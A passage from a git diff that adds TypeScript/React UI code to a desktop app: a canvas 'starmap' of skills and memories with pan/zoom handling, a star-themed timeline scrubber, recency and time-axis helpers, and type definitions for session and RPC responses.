+  const pickRingLabel = (cssX: number, cssY: number): null | number => {
+    for (const r of ringLabelRectsRef.current) {
+      if (cssX >= r.x && cssX <= r.x + r.w && cssY >= r.y && cssY <= r.y + r.h) {
+        return r.i
+      }
+    }
+
+    return null
+  }
+
+  const localXY = (e: React.MouseEvent): { x: number; y: number } => {
+    const rect = canvasRef.current?.getBoundingClientRect()
+
+    return { x: e.clientX - (rect?.left ?? 0), y: e.clientY - (rect?.top ?? 0) }
+  }
+
+  const resetView = () => {
+    setPlaying(false)
+    viewportRef.current = fitViewport(
+      sizeRef.current.w,
+      sizeRef.current.h,
+      ringsRef.current[ringsRef.current.length - 1]?.r ?? RING_OUTER
+    )
+    selectedRingRef.current = null
+    invalidate()
+    setSelectedId(null)
+  }
+
+  const onMouseDown = (e: React.MouseEvent<HTMLCanvasElement>) => {
+    if (e.button !== 0) {
+      return
+    }
+
+    const { x, y } = localXY(e)
+    const ringHit = pickRingLabel(x, y)
+    hoveredRingRef.current = null
+    // Nodes aren't draggable (static map) — remember which was pressed so a click
+    // (press without movement) can select it; any drag just pans.
+    const nodeId = ringHit == null ? (pickNode(x, y)?.id ?? null) : null
+    dragRef.current = {
+      id: nodeId,
+      mode: 'pan',
+      moved: false,
+      ring: ringHit,
+      sx: e.clientX,
+      sy: e.clientY,
+      vp: viewportRef.current
+    }
+  }
+
+  const onMouseMove = (e: React.MouseEvent<HTMLCanvasElement>) => {
+    const drag = dragRef.current
+
+    if (drag.mode === 'none') {
+      const { x, y } = localXY(e)
+      const ringHit = pickRingLabel(x, y)
+      const id = ringHit == null ? (pickNode(x, y)?.id ?? null) : null
+      // Links are the last fallback (only when not over a node/date).
+      const linkKey = ringHit == null && id == null ? pickLink(x, y) : null
+
+      if (id !== hoverRef.current || ringHit !== hoveredRingRef.current || linkKey !== hoveredLinkRef.current) {
+        hoverRef.current = id
+        hoveredRingRef.current = ringHit
+        hoveredLinkRef.current = linkKey
+        invalidate()
+      }
+
+      return
+    }
+
+    const dx = e.clientX - drag.sx
+    const dy = e.clientY - drag.sy
+
+    if (Math.abs(dx) > 3 || Math.abs(dy) > 3) {
+      drag.moved = true
+    }
+
+    if (drag.mode === 'pan') {
+      // Taking manual control of the camera ends an auto-fit play-through.
+      if (drag.moved) {
+        setPlaying(false)
+      }
+
+      viewportRef.current = { ...drag.vp, x: drag.vp.x + dx, y: drag.vp.y + dy }
+      invalidate()
+    }
+  }
+
+  const endDrag = () => {
+    const drag = dragRef.current
+
+    // A click (press without movement) toggles a ring date, a node, or clears.
+    if (drag.mode === 'pan' && !drag.moved) {
+      // Double tap (trackpad tap-to-click may never emit a dblclick) resets view.
+      if (doubleTapRef.current()) {
+        resetView()
+        dragRef.current = { id: null, mode: 'none', moved: false, ring: null, sx: 0, sy: 0, vp: viewportRef.current }
+
+        return
+      }
+
+      // Independent toggles: a date and a node can both be selected.
+      if (drag.ring != null) {
+        selectedRingRef.current = selectedRingRef.current === drag.ring ? null : drag.ring
+      } else if (drag.id) {
+        setSelectedId(prev => (prev === drag.id ? null : drag.id))
+      } else {
+        selectedRingRef.current = null
+        setSelectedId(null)
+      }
+
+      invalidate()
+    }
+
+    dragRef.current = { id: null, mode: 'none', moved: false, ring: null, sx: 0, sy: 0, vp: viewportRef.current }
+  }
+
+  const onMouseLeave = () => {
+    hoverRef.current = null
+    hoveredRingRef.current = null
+    hoveredLinkRef.current = null
+    invalidate()
+    endDrag()
+  }
+
+  const onContextMenu = (e: React.MouseEvent<HTMLCanvasElement>) => {
+    e.preventDefault()
+    const { x, y } = localXY(e)
+    const node = pickNode(x, y)
+
+    if (!node) {
+      return setMenuTarget(null)
+    }
+
+    setSelectedId(node.id)
+    setMenuTarget({
+      id: node.id,
+      kind: node.kind === 'memory' ? 'memory' : 'skill',
+      label: node.label,
+      x: e.clientX,
+      y: e.clientY
+    })
+  }
+
+  const onWheel = (e: React.WheelEvent<HTMLCanvasElement>) => {
+    const rect = canvasRef.current?.getBoundingClientRect()
+
+    if (!rect) {
+      return
+    }
+
+    // macOS smart zoom (two-finger double-tap) → reset (see lib/trackpad-gestures).
+    if (isSmartZoomWheel(e)) {
+      resetView()
+
+      return
+    }
+
+    // Manual zoom takes over the camera from any auto-fit play-through.
+    setPlaying(false)
+
+    const px = e.clientX - rect.left
+    const py = e.clientY - rect.top
+    const vp = viewportRef.current
+    const k = clamp(vp.k * (e.deltaY > 0 ? 0.9 : 1.1), ZOOM_MIN, ZOOM_MAX)
+    viewportRef.current = { k, x: px - ((px - vp.x) / vp.k) * k, y: py - ((py - vp.y) / vp.k) * k }
+    invalidate()
+  }
+
+  return (
+    <div className="relative min-h-0 flex-1 overflow-hidden" ref={wrapRef}>
+      <canvas
+        className="block touch-none select-none text-foreground"
+        onContextMenu={onContextMenu}
+        onDoubleClick={resetView}
+        onMouseDown={onMouseDown}
+        onMouseLeave={onMouseLeave}
+        onMouseMove={onMouseMove}
+        onMouseUp={endDrag}
+        onWheel={onWheel}
+        ref={canvasRef}
+      />
+
+      <NodeContextMenu
+        onClose={() => setMenuTarget(null)}
+        onNodeRemoved={() => {
+          setMenuTarget(null)
+          setSelectedId(null)
+        }}
+        target={menuTarget}
+      />
+
+      {/* Timeline scrubber — centered along the top, clear of the close button.
+          z-20 lifts it above the titlebar's app-region drag layer (z-10) so the
+          scrubber receives pointer events instead of dragging the window. */}
+      <div className="pointer-events-none absolute inset-x-0 top-6 z-20 flex justify-center px-12">
+        <Timeline
+          axis={timeAxis}
+          memoryColor={memoryColor}
+          onScrub={onScrub}
+          onTogglePlay={onTogglePlay}
+          playing={playing}
+          revealStore={revealStore}
+          ringStops={ringStops}
+        />
+      </div>
+
+      {/* Share / import (WoW-talent-style code) — bottom-right, mirroring the legend. */}
+      <div className="pointer-events-auto absolute bottom-2 right-2 z-20 [-webkit-app-region:no-drag]">
+        <ShareControls imported={imported} onImport={importCode} onResetMap={onResetMap} shareCode={shareCode} />
+      </div>
+
+      {/* Legend — bottom-left, one entry per line like a conventional key. */}
+      <div className="pointer-events-none absolute bottom-2 left-2 flex flex-col gap-1 text-[0.62rem] text-muted-foreground">
+        <span className="flex items-center gap-1.5">
+          <span className="inline-block size-2 rounded-full bg-[var(--theme-primary)]/80" /> skill
+        </span>
+        <span className="flex items-center gap-1.5">
+          <span className="inline-block size-2 rotate-45" style={{ backgroundColor: memoryColor }} /> memory
+        </span>
+        <span className="text-[0.58rem] text-muted-foreground/65">core = oldest · outer = newer</span>
+        <RevealLabel axis={timeAxis} revealStore={revealStore} />
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/starmap/text.ts b/ui-desktop/src/app/starmap/text.ts
new file mode 100644
index 000000000..ff8479a9f
--- /dev/null
+++ b/ui-desktop/src/app/starmap/text.ts
@@ -0,0 +1,90 @@
+import { fmtDate } from '@/lib/time'
+import type { StarmapNode } from '@/types/clawcodex'
+
+export function formatDate(ts?: null | number): string {
+  if (!ts) {
+    return 'unknown'
+  }
+
+  try {
+    return fmtDate.format(new Date(ts * 1000))
+  } catch {
+    return 'unknown'
+  }
+}
+
+// Tag-style badge items for the hover tooltip — date first. Use-count is NOT a
+// badge (rendered separately, right-aligned) so it's excluded here.
+export function metaBadges(n: StarmapNode): string[] {
+  const out: string[] = [formatDate(n.timestamp)]
+
+  if (n.kind === 'memory') {
+    out.push(n.memorySource === 'profile' ? 'profile memory' : 'memory')
+  } else {
+    out.push(n.category)
+
+    if (n.createdBy === 'agent') {
+      out.push('learned')
+    }
+
+    if (n.pinned) {
+      out.push('pinned')
+    }
+  }
+
+  return out.filter(Boolean)
+}
+
+// Bare "xN" use-count, last in the badge row. Null when never used.
+export function countLabel(n: StarmapNode): null | string {
+  return n.kind === 'skill' && n.useCount > 0 ? `x${n.useCount}` : null
+}
+
+// Footer-row content for the tooltip. Reserved primitive — returns nothing for
+// now (skills have no UUID; their id is just the name). Wire real detail here
+// later and the tooltip lays it out automatically.
+export function nodeFooter(node: StarmapNode): null | string {
+  void node
+
+  return null
+}
+
+// Greedy word-wrap for the tooltip title so long memory lines don't blow out.
+export function wrapText(ctx: CanvasRenderingContext2D, text: string, maxW: number): string[] {
+  const words = text.split(/\s+/).filter(Boolean)
+  const lines: string[] = []
+  let line = ''
+
+  for (const word of words) {
+    const next = line ? `${line} ${word}` : word
+
+    if (!line || ctx.measureText(next).width <= maxW) {
+      line = next
+    } else {
+      lines.push(line)
+      line = word
+    }
+  }
+
+  if (line) {
+    lines.push(line)
+  }
+
+  return lines
+}
+
+// Trim to fit maxW, appending an ellipsis (keeps floating labels compact so they
+// don't span the overlay).
+export function ellipsize(ctx: CanvasRenderingContext2D, text: string, maxW: number): string {
+  if (ctx.measureText(text).width <= maxW) {
+    return text
+  }
+
+  let s = text
+
+  while (s.length > 1 && ctx.measureText(`${s}…`).width > maxW) {
+    s = s.slice(0, -1)
+  }
+
+  return `${s.trimEnd()}…`
+}
diff --git a/ui-desktop/src/app/starmap/time-axis.ts b/ui-desktop/src/app/starmap/time-axis.ts
new file mode 100644
index 000000000..3091d404d
--- /dev/null
+++ b/ui-desktop/src/app/starmap/time-axis.ts
@@ -0,0 +1,105 @@
+import type { StarmapGraph, StarmapNode } from '@/types/clawcodex'
+
+import { clamp } from './geometry'
+
+// Empty lead-in: push the oldest node off 0 so the timeline opens on a beat of
+// emptiness (you watch the first node grow in). Radial position is otherwise a
+// truthful linear map of time, so rings line up with the nodes they date.
+export const LEAD_IN = 0.06
+export const recForRatio = (ratio: number): number => LEAD_IN + (1 - LEAD_IN) * clamp(ratio, 0, 1)
+
+export interface Recency {
+  maxTs: null | number
+  minTs: null | number
+  // id → recency ratio (0 oldest … 1 newest). Timed by timestamp when the span
+  // is real, else ordinal so an undated graph still "builds up" in a stable order.
+  rec: Map<string, number>
+  timed: boolean
+}
+
+// Shared recency model for both the radial layout (simulation.ts) and the
+// timeline scrubber, so a node's ring distance and its ignite time agree.
+export function computeRecency(nodes: StarmapNode[]): Recency {
+  const known = nodes
+    .map(n => (typeof n.timestamp === 'number' && Number.isFinite(n.timestamp) ? Number(n.timestamp) : null))
+    .filter((v): v is number => v !== null)
+
+  const minTs = known.length ? Math.min(...known) : null
+  const maxTs = known.length ? Math.max(...known) : null
+  const timed = minTs !== null && maxTs !== null && maxTs > minTs
+
+  const ordered = [...nodes].sort((a, b) => {
+    const at = typeof a.timestamp === 'number' ? a.timestamp : Infinity
+    const bt = typeof b.timestamp === 'number' ? b.timestamp : Infinity
+
+    return at === bt ? a.id.localeCompare(b.id) : at - bt
+  })
+
+  const ordRatio = new Map(ordered.map((n, i) => [n.id, ordered.length > 1 ? i / (ordered.length - 1) : 0]))
+  const rec = new Map<string, number>()
+
+  // Radius is a truthful linear map of time (ordinal only as a fallback for the
+  // undated). Co-timed nodes share a radius and fan out by ANGLE in the sim — so
+  // a burst reads as a populated ring, and the dated rings stay accurate.
+  for (const n of nodes) {
+    const ratio =
+      timed && typeof n.timestamp === 'number' && minTs !== null && maxTs !== null
+        ? (Number(n.timestamp) - minTs) / (maxTs - minTs)
+        : (ordRatio.get(n.id) ?? 0)
+
+    rec.set(n.id, recForRatio(ratio))
+  }
+
+  return { maxTs, minTs, rec, timed }
+}
+
+export interface TimeBucket {
+  memory: number
+  skill: number
+  total: number
+}
+
+export interface TimeAxis {
+  buckets: TimeBucket[]
+  maxTotal: number
+  maxTs: null | number
+  minTs: null | number
+  // Total node count — the denominator for the "n / total" label when undated.
+  size: number
+  timed: boolean
+}
+
+// Bucket nodes across recency [0,1] into a fixed-width histogram — the little
+// bars the scrubber rides over. Skill/memory kept separate so the bars can show
+// the same two-tone split as the map glyphs.
+export function buildTimeAxis(graph: StarmapGraph, bucketCount = 48): TimeAxis {
+  const { maxTs, minTs, rec, timed } = computeRecency(graph.nodes)
+  const n = Math.max(1, bucketCount)
+  const buckets: TimeBucket[] = Array.from({ length: n }, () => ({ memory: 0, skill: 0, total: 0 }))
+
+  for (const node of graph.nodes) {
+    const r = rec.get(node.id) ?? 0
+    const idx = clamp(Math.floor(r * n), 0, n - 1)
+    const b = buckets[idx]!
+    b.total += 1
+
+    if (node.kind === 'memory') {
+      b.memory += 1
+    } else {
+      b.skill += 1
+    }
+  }
+
+  const maxTotal = buckets.reduce((m, b) => Math.max(m, b.total), 0)
+
+  return { buckets, maxTotal, maxTs, minTs, size: graph.nodes.length, timed }
+}
+
+// Wall-clock date at a reveal ratio (linear in time when the graph is dated).
+export function dateAtReveal(axis: TimeAxis, reveal: number): null | number {
+  if (!axis.timed || axis.minTs === null || axis.maxTs === null) {
+    return null
+  }
+
+  return Math.round(axis.minTs + clamp(reveal, 0, 1) * (axis.maxTs - axis.minTs))
+}
diff --git a/ui-desktop/src/app/starmap/timeline.tsx b/ui-desktop/src/app/starmap/timeline.tsx
new file mode 100644
index 000000000..23056861a
--- /dev/null
+++ b/ui-desktop/src/app/starmap/timeline.tsx
@@ -0,0 +1,289 @@
+import { memo, useCallback, useEffect, useMemo, useRef } from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+
+import type { TimeAxis } from './time-axis'
+
+interface TimelineProps {
+  axis: TimeAxis
+  // Colour for memory stars — matches the map's memory glyph.
+  memoryColor?: string
+  onScrub: (reveal: number) => void
+  onTogglePlay: () => void
+  playing: boolean
+  revealStore: RevealSignal
+  // Reveal positions (0–1) where rings spawn — drawn as anchor ticks.
+  ringStops?: number[]
+}
+
+interface RevealSignal {
+  get: () => number
+  subscribe: (listener: (value: number) => void) => () => void
+}
+
+interface Star {
+  delay: number
+  duration: number
+  kind: 'memory' | 'skill'
+  leftPct: number
+  opacity: number
+  size: number
+  topPct: number
+}
+
+const ACTIVE_MARKER_CLASS = 'opacity-100'
+const INACTIVE_MARKER_CLASS = 'opacity-30'
+// Busiest bucket gets this many stars; quieter ones scale down proportionally.
+const MAX_STARS_PER_BUCKET = 7
+
+// Deterministic PRNG (mulberry32) so a bucket's stars stay put across renders.
+function rng(seed: number): () => number {
+  let a = seed >>> 0
+
+  return () => {
+    a += 0x6d2b79f5
+    let t = a
+    t = Math.imul(t ^ (t >>> 15), t | 1)
+    t ^= t + Math.imul(t ^ (t >>> 7), t | 61)
+
+    return ((t ^ (t >>> 14)) >>> 0) / 4294967296
+  }
+}
+
+// Scatter each time bucket's activity into stars: count ∝ events, split between
+// skill- and memory-coloured stars, jittered within the bucket's horizontal slot
+// and across the track height. Vertical placement is biased toward the midline
+// (a triangular distribution) so stars cluster near the centre more often than
+// the edges. A starmap timeline for a starmap.
+function buildStars(axis: TimeAxis): Star[] {
+  const n = Math.max(1, axis.buckets.length)
+  const stars: Star[] = []
+
+  axis.buckets.forEach((b, i) => {
+    if (b.total === 0) {
+      return
+    }
+
+    const intensity = axis.maxTotal > 0 ? b.total / axis.maxTotal : 0
+    // sqrt curve so a single co-timed burst (a packed core ring) doesn't crush
+    // every quieter bucket down to the 1-star floor and read as blank.
+    const count = Math.max(1, Math.round(Math.sqrt(intensity) * MAX_STARS_PER_BUCKET))
+    const skillCount = Math.round((b.skill / b.total) * count)
+    const r = rng(i * 9973 + 7)
+    const slot = 1 / n
+    const center = (i + 0.5) / n
+
+    for (let s = 0; s < count; s++) {
+      const jitter = (r() - 0.5) * slot * 0.9
+      // Average of two uniforms → triangular peak at 0.5, pulling stars toward
+      // the midline more often while still reaching the edges occasionally.
+      const vertical = (r() + r()) / 2
+
+      stars.push({
+        delay: r() * 3,
+        duration: 2.4 + r() * 2.6,
+        kind: s < skillCount ? 'skill' : 'memory',
+        leftPct: Math.max(0, Math.min(1, center + jitter)) * 100,
+        // Brighter, slightly larger stars are rarer.
+        opacity: 0.5 + r() * 0.5,
+        // Floor at 2px so a lone star in a quiet bucket still reads on black.
+        size: 2 + Math.round(r() * r() * 2.2),
+        topPct: 12 + vertical * 76
+      })
+    }
+  })
+
+  return stars
+}
+
+// Playback scrubber as a constellation: dim stars are the unrevealed future; a
+// scanner sweep ignites them (bright + twinkling) left→right as the reveal
+// advances. The bright layer is clipped by the reveal CSS var, so the rAF sweep
+// in StarMap drives it with zero per-frame JS.
+export const Timeline = memo(function Timeline({
+  axis,
+  memoryColor = 'var(--theme-secondary)',
+  onScrub,
+  onTogglePlay,
+  playing,
+  revealStore,
+  ringStops = []
+}: TimelineProps) {
+  const trackRef = useRef<HTMLDivElement | null>(null)
+  const draggingRef = useRef(false)
+  const markerRefs = useRef<HTMLDivElement[]>([])
+
+  const stars = useMemo(() => buildStars(axis), [axis])
+
+  const syncReveal = useCallback(
+    (value: number) => {
+      const reveal = Math.max(0, Math.min(1, value))
+      const track = trackRef.current
+
+      if (track) {
+        track.style.setProperty('--starmap-reveal', String(reveal))
+        track.setAttribute('aria-valuenow', String(Math.round(reveal * 100)))
+      }
+
+      ringStops.forEach((stop, i) => {
+        const el = markerRefs.current[i]
+
+        if (!el) {
+          return
+        }
+
+        const active = stop <= reveal
+
+        el.classList.toggle(ACTIVE_MARKER_CLASS, active)
+        el.classList.toggle(INACTIVE_MARKER_CLASS, !active)
+      })
+    },
+    [ringStops]
+  )
+
+  useEffect(() => revealStore.subscribe(syncReveal), [revealStore, syncReveal])
+
+  useEffect(() => {
+    markerRefs.current.length = ringStops.length
+    syncReveal(revealStore.get())
+  }, [revealStore, ringStops.length, syncReveal])
+
+  const ratioAt = (clientX: number): number => {
+    const rect = trackRef.current?.getBoundingClientRect()
+
+    if (!rect || rect.width === 0) {
+      return revealStore.get()
+    }
+
+    return Math.max(0, Math.min(1, (clientX - rect.left) / rect.width))
+  }
+
+  const onPointerDown = (e: React.PointerEvent<HTMLDivElement>) => {
+    draggingRef.current = true
+    e.currentTarget.setPointerCapture(e.pointerId)
+    onScrub(ratioAt(e.clientX))
+  }
+
+  const onPointerMove = (e: React.PointerEvent<HTMLDivElement>) => {
+    if (draggingRef.current) {
+      onScrub(ratioAt(e.clientX))
+    }
+  }
+
+  const onPointerUp = (e: React.PointerEvent<HTMLDivElement>) => {
+    draggingRef.current = false
+
+    if (e.currentTarget.hasPointerCapture(e.pointerId)) {
+      e.currentTarget.releasePointerCapture(e.pointerId)
+    }
+  }
+
+  const colorFor = (kind: Star['kind']) => (kind === 'skill' ? 'var(--theme-primary)' : memoryColor)
+
+  return (
+    <div className="pointer-events-auto flex w-[28rem] max-w-full items-center gap-3 [-webkit-app-region:no-drag]">
+      <style>{'@keyframes starmap-twinkle{0%,100%{opacity:var(--o,1)}50%{opacity:calc(var(--o,1) * 0.35)}}'}</style>
+
+      <button
+        aria-label={playing ? 'Pause' : 'Play timeline'}
+        className="flex size-5 shrink-0 items-center justify-center text-foreground/75 transition-colors hover:text-foreground"
+        onClick={onTogglePlay}
+        type="button"
+      >
+        <Codicon name={playing ? 'debug-pause' : 'triangle-right'} size={playing ? '0.8rem' : '0.95rem'} />
+      </button>
+
+      <div
+        aria-label="Timeline scrubber"
+        aria-valuemax={100}
+        aria-valuemin={0}
+        aria-valuenow={Math.round(revealStore.get() * 100)}
+        className="relative h-7 min-w-0 flex-1 cursor-pointer select-none touch-none"
+        onPointerDown={onPointerDown}
+        onPointerMove={onPointerMove}
+        onPointerUp={onPointerUp}
+        ref={trackRef}
+        role="slider"
+        style={{ '--starmap-reveal': revealStore.get() } as React.CSSProperties}
+        tabIndex={0}
+      >
+        {/* Dashed midline — a faint horizontal axis the stars ride over. */}
+        <div
+          aria-hidden
+          className="pointer-events-none absolute inset-x-0 top-1/2 -translate-y-1/2 border-t border-dashed border-foreground/5"
+        />
+
+        {/* Dim constellation — the unrevealed future. */}
+        <div aria-hidden className="absolute inset-0">
+          {stars.map((star, i) => (
+            <div
+              className="absolute -translate-x-1/2 -translate-y-1/2 rounded-full"
+              key={i}
+              style={{
+                backgroundColor: colorFor(star.kind),
+                height: star.size,
+                left: `${star.leftPct}%`,
+                opacity: 0.22,
+                top: `${star.topPct}%`,
+                width: star.size
+              }}
+            />
+          ))}
+        </div>
+
+        {/* Ignited constellation — bright + twinkling, clipped to the reveal. */}
+        <div
+          aria-hidden
+          className="absolute inset-0"
+          style={{ clipPath: 'inset(0 calc((1 - var(--starmap-reveal, 1)) * 100%) 0 0)' }}
+        >
+          {stars.map((star, i) => {
+            const color = colorFor(star.kind)
+
+            return (
+              <div
+                className="absolute -translate-x-1/2 -translate-y-1/2 rounded-full"
+                key={i}
+                style={
+                  {
+                    '--o': star.opacity,
+                    animation: `starmap-twinkle ${star.duration}s ease-in-out ${star.delay}s infinite`,
+                    backgroundColor: color,
+                    height: star.size,
+                    left: `${star.leftPct}%`,
+                    opacity: star.opacity,
+                    top: `${star.topPct}%`,
+                    width: star.size
+                  } as React.CSSProperties
+                }
+              />
+            )
+          })}
+        </div>
+
+        {/* Ring-spawn anchor ticks — small bright stars that light up on pass. */}
+        <div aria-hidden className="absolute inset-0">
+          {ringStops.map((stop, i) => (
+            <div
+              className={`pointer-events-none absolute top-1/2 size-1 -translate-x-1/2 -translate-y-1/2 rounded-full bg-[var(--theme-primary)] ${INACTIVE_MARKER_CLASS}`}
+              key={i}
+              ref={el => {
+                if (el) {
+                  markerRefs.current[i] = el
+                }
+              }}
+              style={{ left: `${stop * 100}%` }}
+            />
+          ))}
+        </div>
+
+        {/* Playhead — a thin white sweep line. */}
+        <div
+          aria-hidden
+          className="pointer-events-none absolute inset-y-0 w-0.5 -translate-x-1/2 bg-foreground"
+          style={{ left: 'calc(var(--starmap-reveal, 1) * 100%)' }}
+        />
+      </div>
+    </div>
+  )
+})
diff --git a/ui-desktop/src/app/starmap/types.ts b/ui-desktop/src/app/starmap/types.ts
new file mode 100644
index 000000000..272028afa
--- /dev/null
+++ b/ui-desktop/src/app/starmap/types.ts
@@ -0,0 +1,97 @@
+import type { SimulationLinkDatum, SimulationNodeDatum } from 'd3-force'
+
+import type { StarmapGraph, StarmapNode } from '@/types/clawcodex'
+
+export type MemoryCard = StarmapGraph['memory'][number]
+
+export type Shape = 'circle' | 'diamond' | 'hexagon' | 'square' | 'triangle'
+
+export interface Viewport {
+  k: number
+  x: number
+  y: number
+}
+
+export interface Rgb {
+  b: number
+  g: number
+  r: number
+}
+
+export interface Rect {
+  h: number
+  w: number
+  x: number
+  y: number
+}
+
+export interface SimNode extends StarmapNode, SimulationNodeDatum {
+  outerRingIndex: number // first ring that caps this node's recency band
+  rec: number // recency 0 (oldest) → 1 (newest)
+  tr: number // time-anchored target radius
+  x: number
+  y: number
+}
+
+export interface SimLink extends SimulationLinkDatum<SimNode> {
+  source: SimNode | string
+  target: SimNode | string
+}
+
+// Per-mode line/ring style.
+export interface GraphParams {
+  lineAlpha: number
+  lineDash: number
+  lineDashed: boolean
+  lineWidth: number
+  ringAlpha: number
+  ringDash: number
+  ringDashed: boolean
+  ringWidth: number
+}
+
+// Per-mode ring/orb params (band wash, light-sliver size, ring outline alpha, orb sheen).
+export interface RingParams {
+  bandAlpha: number
+  lightSize: number
+  ringAlpha: number
+  sheen: number
+}
+
+export interface Palette {
+  bandInk: Rgb
+  base: Rgb
+  bg: Rgb
+  c: GraphParams
+  chipBg: string
+  darkTheme: boolean
+  inkInv: string
+  memoryInk: Rgb
+  primary: Rgb
+  skillInk: Rgb
+}
+
+export interface Ring {
+  label: null | string
+  r: number
+  ratio: number
+}
+
+export interface RingLabelRect {
+  h: number
+  i: number
+  w: number
+  x: number
+  y: number
+}
+
+export interface FadeBuckets {
+  // Per-element "birth" progress 0→1 used to ease position (nodes rise outward
+  // into place, rings grow out) as the scrubber reveals them. Separate from the
+  // alpha buckets so it stays monotonic and isn't perturbed by focus/selection.
+  appear: Map<string, number>
+  labels: Map<string, number>
+  links: Map<string, number>
+  nodes: Map<string, number>
+  rings: Map<string, number>
+}
diff --git a/ui-desktop/src/app/types.ts b/ui-desktop/src/app/types.ts
new file mode 100644
index 000000000..c6f46230d
--- /dev/null
+++ b/ui-desktop/src/app/types.ts
@@ -0,0 +1,206 @@
+import type * as React from 'react'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+import type { SessionMessage, UsageStats } from '@/types/clawcodex'
+
+export interface ContextSuggestion {
+  text: string
+  display: string
+  meta?: string
+}
+
+export interface ImageAttachResponse {
+  attached?: boolean
+  path?: string
+  text?: string
+  message?: string
+  // Returned by the byte-upload variant (image.attach_bytes) used in remote mode.
+  count?: number
+  bytes?: number
+  name?: string
+  width?: number
+  height?: number
+  token_estimate?: number
+}
+
+export interface ImageDetachResponse {
+  detached?: boolean
+  count?: number
+}
+
+export interface FileAttachResponse {
+  attached?: boolean
+  message?: string
+  // Gateway-side absolute path the file was staged to.
+  path?: string
+  // Workspace-relative path used to build ref_text.
+  ref_path?: string
+  // Rewritten @file: ref that resolves on the gateway (workspace-relative).
+  ref_text?: string
+  // True when bytes/host file were copied into the session workspace.
+  uploaded?: boolean
+  name?: string
+}
+
+export interface SlashExecResponse {
+  output?: string
+  warning?: string
+}
+
+export interface BrowserManageResponse {
+  connected?: boolean
+  url?: string
+  messages?: string[]
+}
+
+/** Response from the `session.compress` RPC. `messages` is the post-compress
+ *  history (same shape `session.resume` returns via `_history_to_messages`),
+ *  so the desktop can replace its transcript from it rather than leaving stale
+ *  bubbles on screen. `summary` carries the "compressed N → M messages" line. */
+export interface SessionCompressResponse {
+  host_ack?: {
+    output?: string
+  }
+  info?: {
+    title?: string
+    usage?: Partial<UsageStats>
+  }
+  messages?: SessionMessage[]
+  removed?: number
+  status?: string
+  summary?: {
+    aborted?: boolean
+    headline?: string
+    noop?: boolean
+    note?: null | string
+    token_line?: string
+  }
+  usage?: Partial<UsageStats>
+}
+
+export interface SessionSteerResponse {
+  // 'queued' == accepted into the live turn's steer slot (injected at the next
+  // tool-result boundary); 'rejected' == no live tool window, caller queues.
+  status?: 'queued' | 'rejected'
+  text?: string
+}
+
+export interface SessionRedirectResponse {
+  status?: 'redirected' | 'queued' | 'rejected'
+  text?: string
+}
+
+export interface SessionTitleResponse {
+  title?: string
+  // True when the session row isn't persisted yet and the title was queued
+  // to be applied on the first turn (see tui_gateway session.title handler).
+  pending?: boolean
+  session_key?: string
+}
+
+export interface HandoffRequestResponse {
+  queued?: boolean
+  session_key?: string
+  platform?: string
+  // Human-readable home channel name for the destination platform.
+  home_name?: string
+}
+
+export interface HandoffStateResponse {
+  // '' | 'pending' | 'running' | 'completed' | 'failed'
+  state?: string
+  platform?: string
+  error?: string
+}
+
+export interface HandoffFailResponse {
+  failed?: boolean
+  state?: string
+}
+
+export interface ExecCommandDispatchResponse {
+  type: 'exec' | 'plugin'
+  output?: string
+}
+
+export interface AliasCommandDispatchResponse {
+  type: 'alias'
+  target: string
+}
+
+export interface SkillCommandDispatchResponse {
+  type: 'skill'
+  name: string
+  message?: string
+  /** The invocation the UI renders (`/work fix the leak`). `message` is the
+   *  expanded skill body — model-facing scaffolding no surface may show. */
+  display?: string
+}
+
+export interface SendCommandDispatchResponse {
+  type: 'send'
+  message: string
+  notice?: string
+  /** Set for a skill-bundle send: see SkillCommandDispatchResponse.display. */
+  display?: string
+}
+
+export interface PrefillCommandDispatchResponse {
+  type: 'prefill'
+  message: string
+  notice?: string
+}
+
+export type CommandDispatchResponse =
+  | ExecCommandDispatchResponse
+  | AliasCommandDispatchResponse
+  | SkillCommandDispatchResponse
+  | SendCommandDispatchResponse
+  | PrefillCommandDispatchResponse
+
+export type SidebarNavId = 'artifacts' | 'command-center' | 'messaging' | 'new-session' | 'settings' | 'skills'
+
+export interface SidebarNavItem {
+  /** Built-in view id, or a contributed row's namespaced contribution id. */
+  id: SidebarNavId | (string & {})
+  label: string
+  icon: React.ComponentType<{ className?: string }>
+  route?: string
+  action?: 'new-session'
+  /** Keybind action id — when set, the tooltip shows the keybind hint. */
+  keybindActionId?: string
+}
+
+export interface ClientSessionState {
+  storedSessionId: string | null
+  messages: ChatMessage[]
+  branch: string
+  cwd: string
+  model: string
+  provider: string
+  reasoningEffort: string
+  serviceTier: string
+  fast: boolean
+  yolo: boolean
+  personality: string
+  busy: boolean
+  awaitingResponse: boolean
+  streamId: string | null
+  sawAssistantPayload: boolean
+  pendingBranchGroup: string | null
+  interrupted: boolean
+  /** True after message.interim finalized a bubble in the still-running turn. */
+  interimBoundaryPending: boolean
+  /** A blocking clarify prompt is waiting on the user for this session. Drives
+   *  the sidebar "needs input" indicator; cleared when the turn resumes/ends. */
+  needsInput: boolean
+  /** Epoch ms the current turn started, or null when idle. Per-session so a
+   *  background turn's elapsed timer keeps counting while another session is
+   *  focused, and switching sessions doesn't zero a still-running turn's clock.
+   *  The global $turnStartedAt mirrors whichever session is currently viewed. */
+  turnStartedAt: number | null
+  /** Cumulative token usage, updated per completed turn. Per-session twin of
+   *  the primary-only $currentUsage — the statusbar reads it for a focused
+   *  tile's context count. Null until the first turn reports. */
+  usage: null | UsageStats
+}
diff --git a/ui-desktop/src/app/updates-overlay.tsx b/ui-desktop/src/app/updates-overlay.tsx
new file mode 100644
index 000000000..14339f037
--- /dev/null
+++ b/ui-desktop/src/app/updates-overlay.tsx
@@ -0,0 +1,470 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useState } from 'react'
+
+import { BrandMark } from '@/components/brand-mark'
+import { Button } from '@/components/ui/button'
+import { writeClipboardText } from '@/components/ui/copy-button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogTitle,
+  preventCloseButtonAutoFocus
+} from '@/components/ui/dialog'
+import { ErrorIcon, ErrorState } from '@/components/ui/error-state'
+import { Loader } from '@/components/ui/loader'
+import { Progress } from '@/components/ui/progress'
+import type { DesktopUpdateCommit, DesktopUpdateStage, DesktopUpdateStatus } from '@/global'
+import { useI18n } from '@/i18n'
+import { buildCommitChangelog, type CommitGroup } from '@/lib/commit-changelog'
+import { AlertCircle, Check, Copy, Terminal } from '@/lib/icons'
